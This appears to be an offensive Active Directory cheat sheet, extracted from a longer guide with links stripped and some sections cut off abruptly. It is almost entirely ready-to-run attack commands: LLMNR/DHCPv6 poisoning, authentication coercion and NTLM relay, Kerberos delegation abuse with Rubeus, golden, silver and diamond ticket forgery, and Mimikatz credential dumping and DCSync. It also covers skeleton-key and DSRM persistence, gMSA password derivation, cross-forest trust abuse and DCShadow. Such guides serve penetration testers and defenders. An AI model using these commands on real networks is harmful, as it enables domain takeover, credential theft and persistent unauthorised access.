# Responder with WPAD injection, Proxy-Auth, DHCP, DHCP-DNS and verbose
responder -I interface_to_use -wPdDv
# Inveigh with *
Invoke-Inveigh -Challenge 1122334455667788 -ConsoleOutput Y -LLMNR Y -NBNS Y -mDNS
Y -HTTPS Y -Proxy Y
MITM6
(Python tool) Spoof DHCPv6 responses to provide evil DNS config. Usefull to combine
with NTLM or Kerberos Relay attacks. Here for an NTLM relay:
mitm6 -i interface_to_use -d [Link] -hw [Link] -v
#PrinterBug
./[Link] target_IP attacker_IP
#ShadowCoerce
[Link] [Link] -d [Link] -u user1 -p password attacker_IP
target_IP
#DFSCoerce
[Link] [Link] -u user1 -d [Link] <listener_IP> <target_IP>
#CheeseOunce via MS-EVEN
./[Link] <listener_IP> <target_IP>
MSSQL Coerce
WebClient Service
If this service runs on the target machine, a SMB authentication can be switched
into an HTTP authentication (really useful for NTLM relay).
Check if WebClient is running on machines:
[Link] 'machine_ip'
If yes, coerce the authentication to the port 80 on the attacker IP. To bypass
trust zone restriction, the attacker machine must be specified with a valid NETBIOS
name and not its IP. The NETBIOS name can be obtained with Responder in Analyze
mode, or by adding a DNS record in the ADIDNS (Python tool).
#Responder technique
responder -I interface_to_use -A
#ADIDNS technique
New-ADIDNSNode -Tombstone -Verbose -Node "[Link]" -Data $IP
ntlmrelayx
If only SMBv2 is supported, -smb2support can be used. To attempt the remove the MIC
if NTLMv2 is vulnerable to CVE-2019-1040, --remove-mic can be used.
Multiple targets can be specified with -tf [Link].
Enumeration
#With attempt to dump possible GMSA and LAPS passwords, and ADCS templates
[Link] ldap://dc --dump-adcs --dump-laps --dump-gmsa --no-da --no-acl
SOCKS
[Link] -t smb://target -socks
[Link] -t mssql://target -socks
[Link] -t ldaps://target -socks
Creds dump
[Link] smb://target
Privesc
Add an user to Enterprise Admins.
[Link] ldap://dc --escalate-user user1 --no-dump
Kerberos Delegation
Kerberos RBCD are detailled in the following section.
#Create a new computer account through LDAPS and enabled RBCD
[Link] ldaps://dc_IP --add-computer --delegate-access --no-dump --no-da --
no-acl
#Create a new computer account through LDAP with StartTLS and enabled RBCD
[Link] ldap://dc_IP --add-computer --delegate-access --no-dump --no-da --no-
acl
Shadow Credentials
[Link] -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$'
Targeting GPO
This attack is presented in the Active Directory - Python edition cheatsheet.
Relay to WinRMs
If NTLMv1 is enabled on the source server and accepted by the target, and the
target server exposes the WinRMs service (over HTTPS), without forcing CBT. Use
this PR.
#Perform the relay
ntlmrelayx -t winrms://[Link] -smb2support
krbrelayx
All the attacks related to Kerberos relay are presented in the Active Directory -
Python edition cheatsheet.
krbjack
A tool ([Link] to perform DNS updates thanks to the
ZONE_UPDATE_UNSECURE flag in the DNS configuration. Perform a MiTM between any
client and a target machine by changing its DNS resolution, forward all the packets
to the specified ports, and steal the AP_REQ packets on the fly to reuse them.
This attack is presented in the Active Directory - Python edition cheatsheet.
Kerberos Delegations
Kerberos delegations can be used for local privesc, lateral movement or domain
privesc. The main purpose of Kerberos delegations is to permit a principal to
access a service on behalf of another principal.
There are two main types of delegation:
Unconstrained Delegation: the first hop server can request access to any service on
any computer
Constrained Delegation: the first hop server has a list of service it can request
Unconstrained delegation
Compromised machine in Unconstrained Delegation
Enumerate computers with Unconstrained Delegation
Get-NetComputer -UnConstrained
#With AD Module
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
Get-ADUser -Filter {TrustedForDelegation -eq $True}
#If yes
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
#PetitPotam
.\[Link] attacker_ip <target>.[Link]
#Run krbrelayx with the hash of the password setup on the UD user
python3 [Link] -hashes :2B576ACBE6BCFDA7294D6BD18041B8FE -dc-ip
[Link]
Constrained delegation
In this situation, the computer in delegation has a list of services where it can
delegate an authentication. This is controlled by msDS-AllowedToDelegateTo
attribute that contains a list of SPNs to which the user tokens can be forwarded.
No ticket is stored in LSASS.
To impersonate the user, Service for User (S4U) extension is used which provides
two extensions:
Service for User to Self (S4U2self) - Allows a service to obtain a forwardable ST
to itself on behalf of a user with just the user principal name without supplying a
password. The service account must have the TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION
– T2A4D UserAccountControl attribute.
Service for User to Proxy (S4U2proxy) - Allows a service to obtain a ST to a second
service on behalf of a user.
Enumerate principals with CD enabled
#Powerview
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth
#AD Module
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-
AllowedToDelegateTo
If we have a session as the user, we can just run .\[Link] tgtdeleg /nowrap to
get the TGT in Base64, then run:
.\[Link] s4u /ticket:doIFCDC[SNIP]E9DQUw= /impersonateuser:Administrator
/domain:[Link] /msdsspn:"time/<target>.[Link]" /altservice:ldap,cifs
/ptt
Domain users can create some machines, ms-ds-machineaccountquota must not being to
0
#To verify
Get-DomainObject -Identity "dc=domain,dc=local" -Domain [Link]
Standard RBCD
The attaker has compromised ServiceA and want to compromise ServiceB. Additionnally
he has sufficient rights to configure msds-allowedtoactonbehalfofotheridentity on
ServiceB.
#Add RBCD from ServiceA to ServiceB
Set-ADComputer ServiceB -PrincipalsAllowedToDelegateToAccount ServiceA$
#Verify property
Get-NetComputer ServiceB | Select-Object -Property name, msds-
allowedtoactonbehalfofotheridentity
#Check requirements
Get-DomainObject -Identity "dc=domain,dc=local" -Domain [Link] -Credential
$Cred
Get-NetComputer <target> -Domain [Link] | Select-Object -Property name, msds-
allowedtoactonbehalfofotheridentity
#Add the fake machine as a ressource + get its SID
New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString
'Password123!' -AsPlainText -Force) -Credential $Cred -Verbose -Domain [Link]
-DomainController [Link]
Get-DomainComputer FAKE01 -Domain [Link] -Credential $Cred
$ComputerSid = Get-DomainComputer FAKE01 -Properties objectsid | Select -Expand
objectsid
Use the S4USelf function with the fake machine (on an arbitrary SPN) to create a
forwardable ticket for a wanted user (not protected)
Use the S4UProxy function to obtain a ST for the impersonated user for the wanted
service on the target machine
#Calcul hash
.\[Link] hash /password:Password123! /user:FAKE01$ /domain:[Link]
#S4U attack
.\[Link] s4u /user:FAKE01$ /rc4:2B576ACBE6BCFDA7294D6BD18041B8FE
/impersonateuser:administrator /msdsspn:cifs/<target> /domain:[Link] /ptt
/dc:[Link]
Skip S4USelf
Attacker has compromised Service A, has sufficient ACLs against Service B to
configure RBCD, and wants to attack Service B
By social engineering or any other solution, an interesting victim authenticates to
Service A with a ST
Attacker dumps the ST on Service A (sekurlsa::tickets)
Attacker configures RBCD from Service A to Service B as above
Attacker performs S4UProxy and bypass S4USelf by providing the ST as evidence
.\[Link] s4u /user:ServiceA$ /aes256:<service_key> /tgs:"/path/to/kirbi"
/msdsspn:cifs/[Link] /domain:[Link] /ptt /dc:[Link]
Reflective RBCD
With a TGT or the hash of a service account, an attacker can configure a RBCD from
the service to itself, a run a full S4U to access the machine on behalf of another
user.
Set-ADComputer ServiceA -PrincipalsAllowedToDelegateToAccount ServiceA$
.\[Link] s4u /user:ServiceA$ /aes256:<service_key>
/impersonateuser:Administrator /msdsspn:cifs/[Link]
/domain:[Link] /ptt /dc:[Link]
Impersonate protected user via S4USelf request
It is possible to impersonate a protected user with the S4USelf request if we have
a TGT (or the creds) of the target machine (for example from an Unconstrained
Delegation).
With the target TGT it is possible to realise a S4USelf request for any user and
obtain a ST for the service. In case where the needed user is protected against
delegation, S4USelf will still work, but the ST is not forwardable (so no S4UProxy
possible) and the specified SPN is invalid...however, the SPN is not in the
encrypted part of the ticket. So it is possible to modify the SPN and retrieve a
valid ST for the target service with a sensitive user (and the ST PAC is well
signed by the KDC).
.\[Link] s4u /self /impersonateuser:Administrator
/ticket:doIFFz[...SNIP...]TE9DQUw= /domain:[Link]
/altservice:cifs/[Link] /ptt
Since the service is not protected in the obtained ticket, the attacker can change
the ST from the previous S4UProxy execution to cifs/ServiceC
#RBCD from A to B
Set-ADComputer ServiceB -PrincipalsAllowedToDelegateToAccount ServiceA$
.\[Link] s4u /user:ServiceA$ /aes256:<serviceA_key>
/impersonateuser:Administrator /msdsspn:cifs/[Link]
/domain:[Link] /dc:[Link]
Request a Service Ticket via U2U (S4USelf request) with the previous TGT specified
in /tgs: (additional ticket added to the request body identifying the target user
account) and /ticket: (authentication). If U2U is not used, the KDC cannot find the
account's LT key when a UPN is specified instead of a SPN. The account to
impersonate via the futur S4U request is also present:
.\[Link] asktgs /u2u /ticket:[Link] /tgs:[Link] /targetuser:Administrator
/nowrap
Retrieve the TGT session key in HEX format:
import binascii, base64
print([Link](base64.b64decode("<TGT_SESSION_KEY_B64>")).decode())
Now, change the user's long term key (his RC4 NT hash actually) to be equal to the
TGT session key. The ST sent in the S4UProxy is encrypted with the session key, but
the KDC will try to decipher it with the user's long term key, this is why the LT
key must be equal to the session key (WARNING !!! The user's password is now equal
to an unknown value, you have to use a sacrificial account to realise this attack).
Everything is explained here.
[Link] -newhashes :sessionKey '[Link]'/'user1':'Password123!'@'DC'
Realize the S4UProxy request with the previous S4USelf U2U ticket (ciphered with
the session key) as additional ticket and the original TGT as ticket:
.\[Link] s4u /msdsspn:cifs/[Link] /ticket:[Link] /tgs:[Link]
Domain Persistence
Diamond ticket
Blog here
.\[Link] diamond /krbkey:<aes_krbtgt_key> /user:user1 /password:password
/enctype:aes /domain:[Link] /dc:[Link] /ticketuser:Administrator
/ticketuserid:<target_RID> /groups:512 /nowrap
For better opsec, the Shapphire Ticket presented in the Active Directory - Python
edition cheatsheet can be used.
Golden ticket
Retrieve the krbtgt hash
From the DC by dumping LSA
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername dc
With a DCSync
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt"'
Create TGT
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator
/domain:[Link] /sid:<domain_SID> /krbtgt:<krbtgt_hash> /id:500 /groups:512
/startoffset:0 /endin:600 /renewmax:10080 /ptt"'
Silver ticket
Create ST
/rc4 take the service account (generally the machine account) hash. /aes128 or
/aes256 can be used for AES keys.
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator
/domain:[Link] /sid:<domain_SID> /target:<target>.[Link]
/service:CIFS /rc4:<account_hash> /ptt"'
Requesting a ST with a valid TGT can be performed with Rubeus like this:
.\[Link] asktgs /ticket:[Link]
/service:LDAP/[Link],cifs/[Link] /ptt
Another solution, if you don't have the NT hash or the AES keys of the service but
you have a TGT for the service account, is to impersonate an account via a request
for a service ticket through S4USelf to an alternative service (and the opsec is
better since the PAC is consistent):
.\[Link] s4u /self /impersonateuser:"Administrator"
/altservice:"cifs/[Link]" /ticket:"<base64_target_TGT>" /nowrap
GoldenGMSA
With the KDS root key and some information about the gMSA account (that can be
retrieved with low privileges), it is possible to compute the gMSA's password.
Dump the KDS root key
This operation needs admin privs on the domain
#For the root domain of the forest
./[Link] kdsinfo
The output is in Base64 and the password is generally not readable. It is possible
to calcul the NT hash from it instead:
import base64
import hashlib
b64 = "<base64_password>"
print([Link]("md4", base64.b64decode(b64)).hexdigest())
GoldenDMSA
This technique is very similar to GoldenGMSA, but targets new DMSA accounts in
Windows Server 2025.
First, extract the Root Key:
./[Link] kds [--domain [Link]] #For a child domain
And finally, bruteforce the ManagedPasswordId from the values found previously:
[Link] bruteforce -s <DMSA_SID> -u <DMSA_NAME$> -k <KDS_ROOT_KEY> -i
<KDS_ROOT_KEY_ID> -d <DMSA_domain>
Skeleton key
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName
[Link]
Now, it is possible to access any machine with a valid username and password as
"mimikatz".
Enter-PSSession -Computername dc -Credential domain\Administrator
DSRM
DSRM is Directory Services Restore Mode
The local administrator on every DC can authenticate with the DSRM password
It is possible to pass the hash of this user to access the DC after modifying the
DC configuration
Dump DSRM password
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -Computername dc
#AD Module
Set-ADACL -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' -
Principal user1 -Verbose
#AD Module
(Get-Acl -Path 'AD:\CN=Domain Admins,CN=Users,DC=domain,DC=local').Access | ?
{$_.IdentityReference -match 'user1'}
#On remote machine with explicit credentials. Only root\cimv2 and nested namespaces
Set-RemoteWMI -UserName user1 -ComputerName <computer> -Credential Administrator -
namespace 'root\cimv2' -Verbose
PowerShell Remoting
#On local machine
Set-RemotePSRemoting -UserName user1 -Verbose
Remote Registry
With the scripts from DAMP-master. Permits to realize some actions like credentials
dump via the registry.
Cross-Trust Movement
Child to parent domain
Escalate from a child domain to the root domain of the forest by forging a Golden
Ticket with the SID of the Enterprise Admins group in the SID history field.
With the trust key
Get the trust key, look at the [in] value in the result
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc
#OR
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\parentDomain$"'
#Or classicaly
.\[Link] asktgs /ticket:[Link] /service:cifs/[Link]
/dc:[Link] /ptt
ls \\[Link]\c$
To avoid some suspicious logs, use multiple values can be added in SID History :
Invoke-Mimikatz -Command '"kerberos::golden /user:dc$ /domain:[Link]
/sid:<current_domain_SID> /groups:516 /sids:<parent_domain_SID>-516,S-1-5-9
/krbtgt:<krbtgt_hash> /ptt"'
Invoke-Mimikatz -Command '"lsadump::dcsync /user:parentDomain\Administrator
/domain:[Link]"'
<parent_domain_SID>-516 – Domain Controllers
#For a specific user different than the Administrator (not RID 500)
Invoke-Mimikatz -Command '"kerberos::golden /user:user1 /domain:[Link]
/sid:<current_domain_SID> /id:<user1_RID> /rc4:<trust_key> /service:krbtgt
/target:[Link] /ticket:trust_forest.kirbi"'
If there is SID filtering, same thing as above but with RID > 1000 (for example,
Exchange related groups are sometimes highly privileged, and always with a RID >
1000). Otherwise, get the foreignSecurityPrincipal. These users of the current
domain are also members of the trusting forest, and they can be members of
interesting groups:
#These SIDs are members of the target domain
Get-DomainObject -Domain [Link] | ? {$_.objectclass -match
"foreignSecurityPrincipal"}
Then, it is possible to forge an referral ticket for this user and access the
target forest with its privileges.
TGT delegation
By default, Domain Controllers are setup with Unconstrained Delegation (which is
necessary in an Active Directory to correctly handle the Kerberos authentications).
If TGT delegation is enabled in the trust attributes, it is possible to coerce the
remote Domain Controller authentication from the compromised Domain Controller, and
retrieve its TGT in the ST. If TGT delegation is disabled, the TGT will not be
added in the ST, even with the Unconstrained Delegation.
Additionally, Selective Authentication must not be enabled on the trust, and a two
ways trust is needed.
How to exploit an Unconstrained Delegation.
Account Operators Replicating Trust Attack (AORTA)
Everything is explained here.
The first step is to set up a Windows Server VM on our machine and promote it to a
domain controller for its own forest (e.g. [Link]).
On this VM, we need to create a DNS Conditional Forwarder to be able to resolve the
other forest through the trust:
Add-DnsServerConditionalForwarderZone -Name <target_domain_fqdn> -MasterServers
<target_DC_IP>
The next step is to log in as an Account Operator for the target domain on the DC
you just created, and add yourself to the Incoming Forest Trust Builders and
DnsAdmins groups in the target AD:
runas /netonly /user:<operator_user>@<target_domain_fqdn> powershell
Once in these groups, you can create an inbound trust, with TGT delegation enabled,
on the target forest. This completes the trust relationship from the attacking
forest to the target forest. Enabling TGT delegation requires the
TRUST_ATTRIBUTE_CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION flag, which is no longer
accessible by default. The Trustify tool allows you to automate everything. Still
as the operator account added to both groups:
[Link] create <target_domain_fqdn> <attacker_domain_sid>
<attacker_forest_fqdn> <attacker_forest_netbios> <trust_pass>
Get-ADTrust <attacker_forest_fqdn> -Server <target_forest_fqdn>
As the operator account, create a DNS Conditional Forwarder on the target forest,
pointing to the attacking forest:
Add-DnsServerConditionalForwarderZone -Name <attacker_forest_fqdn> -MasterServers
<attacker_DC_IP> -ComputerName <target_DC_fqdn>
From there, everything is ready for coercion. In this scenario, there is no need
for two-way approval since we will authenticate on the target DC with an account
from its forest. We just need approval in the "attacker -> target" direction so
that the target DC can come to the "attacker".
We can now coerce the target DC towards our DC and perform a Unconstrained
Delegation.
Transit across non-transitive trusts
If a non-transitive trust is setup between domains from two different forests
(domain A and B for example), users from domain A will be able to access resources
in domain B (in case that B trusts A), but will not be able to access resources in
other domains that trust domain B (for example, domain C). Non-transitive trusts
are setup by default on External Trusts for example.
However, there is a way to make non-transitive trusts transitive. Full explains
here.
For this example, there is an External Trust between domains A and B (which are in
different forests), there is a Within Forest trust between domains B and C (which
are in the same forest), and a Parent-child trust between domains C and D (so, they
are in the same forest). We have a user (userA) in domain A, and we want to access
services in domain D, which is normally impossible since External Trusts are non-
transitive.
First, obtain a TGT for userA in his domain A
Then, request a referral for the domain B with the previously obtained TGT (for the
moment, everything is normal). This referral can be used to access resources in
domain B as userA
./[Link] asktgs /service:krbtgt/[Link] /ticket:<previous_TGT>
/dc:[Link] /nowrap
With this referral, it is not possible to request for a ST in domain C since there
is no transitivity. However, it is possible to use it to ask for a "local" TGT in
domain B for userA. This will be a valid TGT in domain B and not a referral between
A and B
./[Link] asktgs /service:krbtgt/[Link] /targetdomain:[Link]
/ticket:<previous_referral> /dc:[Link] /nowrap
Now, this TGT can be reused to ask for a referral to access domain C, still from
domain A with user A
This referral for domain C can be, in turn, used to access domain D with the same
technique, and so on. This attack permits to pivot between all the trusts (and
consequently the domains) in the same forest from a domain in a external forest.
However, it is not possible to directly use this technique to access a domain in
another forest that would have a trust with domain D. For example, if domain D has
an External Trust with domain E in a third forest, it will be not possible to
access domain E from A.
A valid workaround is to use the referral for domain D to request a ST for LDAP in
domain D, and use it to create a machine account. This account will be valid in
domain D and will be used to restart the attack from domain D (like with user A)
and access domain E.
./[Link] asktgs /service:ldap/[Link] /ticket:<referral_domainD>
/dc:[Link] /ptt
New-MachineAccount -MachineAccount machineDomainD -Domain [Link] -
DomainController [Link]
#Then, ask for a TGT and replay the attack against domain E
member - Members from the bastion forest which are mapped to the shadow principal
And second with enough privileges (DA or otherwise) to push the values :
sekurlsa::pth /user:Administrator /domain:[Link] /ntlm:<hash> /impersonate
lsadump::dcshadow /push
Minimal permissions
DCShadow can be used with minimal permissions (and this) by modifying ACLs of :
The domain object.
DS-Install-Replica (Add/Remove Replica in Domain)
DS-Replication-Manage-Topology (Manage Replication Topology)
DS-Replication-Synchronize (Replication Synchornization)
Now, the second mimkatz instance (which runs as DA) is not required.
Set interesting attributes
Set SIDHistory to Enterprise Admin
lsadump::dcshadow /object:user1 /attribute:SIDHistory /value:<domain_SID>-519
Modify primaryGroupID
lsadump::dcshadow /object:user1 /attribute:primaryGroupID /value:519
Get the SID of our user and append it at the end of the ACLs. Then launch DCShadow
like this :
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=domain,DC=local
/attribute:ntSecurityDescriptor /value:<modified ACL>
Shadowception
We can even run DCShadow from DCShadow, which is Shadowception (and still this).
We need to append following ACEs with our user's SID at the end:
On the domain object: (OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)
(OA;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;;UserSID)(OA;;CR;1131f6ab-9c07-11d1-
f79f-00c04fc2dcd2;;UserSID)
Pentester Academy
PayloadAllTheThings
InternalAllTheThings
[Link]
HackTricks
Haax
NetExec wiki
Cube0x0
Dirk-jan Mollema
Snovvcrash
[Link]
Adam Chester
Olivier Lyak
Masky release
SOAPHound
ThievingFox
SpecterOps
MDSec
Semperis
Cogiceo